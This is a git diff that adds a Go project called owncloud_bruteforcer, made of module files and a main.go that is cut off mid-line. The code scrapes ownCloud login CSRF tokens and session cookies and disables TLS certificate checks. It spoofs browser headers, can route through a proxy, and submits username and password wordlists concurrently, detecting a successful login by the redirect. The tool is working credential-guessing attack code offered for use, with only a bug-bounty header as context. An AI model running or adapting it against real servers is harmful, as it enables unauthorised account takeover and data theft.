diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..0a3f1fd --- /dev/null +++ b/go.mod @@ -0,0 +1,30 @@ +module git.sual.in/casual/owncloud_bruteforcer + +go 1.22.1 + +require github.com/projectdiscovery/goflags v0.1.47 + +require ( + github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 // indirect + github.com/aymerick/douceur v0.2.0 // indirect + github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect + github.com/gorilla/css v1.0.0 // indirect + github.com/kr/pretty v0.3.0 // indirect + github.com/microcosm-cc/bluemonday v1.0.25 // indirect + github.com/miekg/dns v1.1.56 // indirect + github.com/pkg/errors v0.9.1 // indirect + github.com/projectdiscovery/blackrock v0.0.1 // indirect + github.com/projectdiscovery/utils v0.0.87 // indirect + github.com/rogpeppe/go-internal v1.9.0 // indirect + github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect + github.com/tidwall/gjson v1.14.3 // indirect + github.com/tidwall/match v1.1.1 // indirect + github.com/tidwall/pretty v1.2.0 // indirect + golang.org/x/exp v0.0.0-20221205204356-47842c84f3db // indirect + golang.org/x/mod v0.12.0 // indirect + golang.org/x/net v0.17.0 // indirect + golang.org/x/sys v0.17.0 // indirect + golang.org/x/tools v0.13.0 // indirect + gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..faed3d0 --- /dev/null +++ b/go.sum @@ -0,0 +1,65 @@ +github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so= +github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= +github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= +github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= +github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 h1:ox2F0PSMlrAAiAdknSRMDrAr8mfxPCfSZolH+/qQnyQ= +github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08/go.mod h1:pCxVEbcm3AMg7ejXyorUXi6HQCzOIBf7zEDVPtw0/U4= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/gorilla/css v1.0.0 h1:BQqNyPTi50JCFMTw/b67hByjMVXZRwGha6wxVGkeihY= +github.com/gorilla/css v1.0.0/go.mod h1:Dn721qIggHpt4+EFCcTLTU/vk5ySda2ReITrtgBl60c= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= +github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/microcosm-cc/bluemonday v1.0.25 h1:4NEwSfiJ+Wva0VxN5B8OwMicaJvD8r9tlJWm9rtloEg= +github.com/microcosm-cc/bluemonday v1.0.25/go.mod h1:ZIOjCQp1OrzBBPIJmfX4qDYFuhU02nx4bn030ixfHLE= +github.com/miekg/dns v1.1.56 h1:5imZaSeoRNvpM9SzWNhEcP9QliKiz20/dA2QabIGVnE= +github.com/miekg/dns v1.1.56/go.mod h1:cRm6Oo2C8TY9ZS/TqsSrseAcncm74lfK5G+ikN2SWWY= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/projectdiscovery/blackrock v0.0.1 h1:lHQqhaaEFjgf5WkuItbpeCZv2DUIE45k0VbGJyft6LQ= +github.com/projectdiscovery/blackrock v0.0.1/go.mod h1:ANUtjDfaVrqB453bzToU+YB4cUbvBRpLvEwoWIwlTss= +github.com/projectdiscovery/goflags v0.1.47 h1:cO0m+Xl4kXvwlyN4Yp61te+Utf3y2IiLXB1JRLvdFMY= +github.com/projectdiscovery/goflags v0.1.47/go.mod h1:+JKmFaqKtFtDYyhmfKEAk5BqnGRQuSF0fR+nk2r9oBQ= +github.com/projectdiscovery/utils v0.0.87 h1:9+RiTEhpUB/vk6XJUVpysNWJ2aCTD7WuyoyAcNnbIzk= +github.com/projectdiscovery/utils v0.0.87/go.mod h1:jGK450sL9AVDTjaPwEs9za8NVeEC9xE97IWNoK138kI= +github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= +github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= +github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= +github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d h1:hrujxIzL1woJ7AwssoOcM/tq5JjjG2yYOc8odClEiXA= +github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU= +github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= +github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/tidwall/gjson v1.14.3 h1:9jvXn7olKEHU1S9vwoMGliaT8jq1vJ7IH/n9zD9Dnlw= +github.com/tidwall/gjson v1.14.3/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= +github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= +github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= +github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs= +github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= +golang.org/x/exp v0.0.0-20221205204356-47842c84f3db h1:D/cFflL63o2KSLJIwjlcIt8PR064j/xsmdEJL/YvY/o= +golang.org/x/exp v0.0.0-20221205204356-47842c84f3db/go.mod h1:CxIveKay+FTh1D0yPZemJVgC/95VzuuOLq5Qi4xnoYc= +golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc= +golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= +golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= +golang.org/x/sync v0.6.0 h1:5BMeUDZ7vkXGfEr1x9B4bRcTH4lpkTkpdh0T/J+qjbQ= +golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sys v0.17.0 h1:25cE3gD+tdBA7lp7QfhuV+rJiE9YXTcS3VG1SqssI/Y= +golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ= +golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= +gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/main.go b/main.go new file mode 100644 index 0000000..e7a1e3c --- /dev/null +++ b/main.go @@ -0,0 +1,250 @@ +package main + +import ( + "fmt" + "net/http" + "os" + "io" + "time" + "regexp" + "strings" + "net/url" + "crypto/tls" + "bufio" + "sync" + // "encoding/json" + // "iouti" +) + + + +func getCSRFtoken(url string) (token,cookie string) { // + cookie + + http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} + + res,err := http.Get(url) + errHandler(err, "can't connect to server") + + bodyChar, err := io.ReadAll(res.Body) + res.Body.Close() + errHandler(err, "can't read body of CSRF request") + + body := string(bodyChar) + rTok, _ := regexp.Compile("data-requesttoken=\".*\"") + token = rTok.FindString(body) + token = strings.TrimPrefix(token,"data-requesttoken=\"") + token = strings.TrimSuffix(token,"\"") + + //TODO cookie + // token = urlEncode(token) //No need, token automatically encoded in POST request by net/http + + rCookie, _ := regexp.Compile("oc.{10}=.{26};|logged_in=no;|_octo=.{28}|oc_sessionPassphrase=.*; e") + for key,val := range res.Header { + if key == "Set-Cookie" { + cookie = strings.Join(rCookie.FindAllString(strings.Join(val, " "), -1), " ") + cookie = strings.TrimSuffix(cookie,"; e") + // cookie = strings.Join(val, " ") + } + // fmt.Println(key, " ",val) + } + + return token, cookie +} + +func urlEncode(input string) string { + return url.QueryEscape(input) +} + +func tryPassword(link,proxy,token,cookie,user,pass string) bool { //TODO header + var client = &http.Client{} + + if proxy != "" { + proxyUrl, err := url.Parse(proxy) + errHandler(err, "wrong proxy url") + http.DefaultTransport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)} + client = &http.Client{ + Timeout: time.Second * 10, + Transport: &http.Transport{Proxy: http.ProxyURL(proxyUrl),TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + } else { + client = &http.Client{ + Timeout: time.Second * 10, + Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + } + + data := url.Values{ + "user": {user}, + "password": {pass}, + "timezone-offset": {"3"}, + "timezone": {"Europe%2FMinsk"}, + "requesttoken": {token}, + } + + req, err := http.NewRequest("POST" ,link, strings.NewReader(data.Encode())) + errHandler(err, "can't create (POST) request") + + req.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7") + req.Header.Add("Connection", "keep-alive") + req.Header.Add("Cache-Control", "max-age=0") + req.Header.Add("sec-ch-ua", "\"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"122\"") + req.Header.Add("sec-ch-ua-mobile", "?0") + req.Header.Add("sec-ch-ua-platform", "\"Linux\"") + req.Header.Add("Upgrade-Insecure-Requests", "1") + req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36") + req.Header.Add("Origin", "null") + req.Header.Add("Cookie", cookie) + req.Header.Add("Content-Type", "application/x-www-form-urlencoded") + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + req.Header.Set("Accept-Encoding", "Accept-Encoding: gzip, deflate, br") + req.Header.Add("Sec-Fetch-Site", "same-origin") + req.Header.Add("Sec-Fetch-Mode", "navigate") + req.Header.Add("Sec-Fetch-User", "?1") + req.Header.Add("Sec-Fetch-Dest", "document") + req.Header.Add("Accept-Language", "en-US,en;q=0.9") + req.Header.Add("bugbounty", "owncloud_bruteforcer") + + + + response, err := client.Do(req) + errHandler(err, "can't create (POST) request") + + defer response.Body.Close() + + // Print response body + // body, _ := io.ReadAll(response.Body) + // fmt.Println(string(body)) + + + // We detect successful login with 303 redirect Location header. If it rederects to .*/apps/files then we got right login. I guess exception - 2FA //TODO + var location303 string + for key,val := range response.Header { + + if key == "Location" { + location303 = strings.Join(val," ") + } + } + if strings.Contains(location303,"apps/files") { + return true + } else { + return false + } + + +} + + +func errHandler(err error, message string) { + if err != nil { + fmt.Printf("%s: %s\n", message, err) + os.Exit(1) + } +} + + +var waitGroup sync.WaitGroup + +func main() { + options,err := ParseOptions() + errHandler(err,"Error parsing options") + + //for GET request (func getCSRFtoken) + if options.Proxy != "" { + http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} + proxyUrl, err := url.Parse(options.Proxy) + errHandler(err, "wrong proxy") + http.DefaultTransport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)} + } + + + //TODO add check for owncloud page + + var usernames *bufio.Scanner + // fmt.Println(options.UserFile,options.PassFile) + // fmt.Println(options) + + if options.UserFile != "" { + userFile,err := os.Open(options.UserFile) + errHandler(err,"Can't read username wordlist") + + usernames = bufio.NewScanner(userFile) + usernames.Split(bufio.ScanLines) + } + + + // main loop + if options.UserFile != "" { + for usernames.Scan() { + + user := usernames.Text() + + fmt.Println("User -",user) + + options.bruteforce(user) + + } + } else { + options.bruteforce(options.User) + } + +//TODO progress bar would be nice. Or some counter of requests + +} + +func (options Options) bruteforce(user string) { + + passFile,err := os.Open(options.PassFile) + errHandler(err,"Can't read password wordlist") + passwords := bufio.NewScanner(passFile) + passwords.Split(bufio.ScanLines) + + pass := make(chan string, 1000000000) // rockyou - 14344391 + + for passwords.Scan() { + // fmt.Println("add pass - ",passwords.Text()) + pass <- string(passwords.Text()) + // fmt.Println("ASDASDAS") + } //TODO ERROR + close(pass) + + // fmt.Println("ASDASDAS") + + // fmt.Println(pass) + var foundPass = false + // for _ := range options.Threads { + for i:=0; i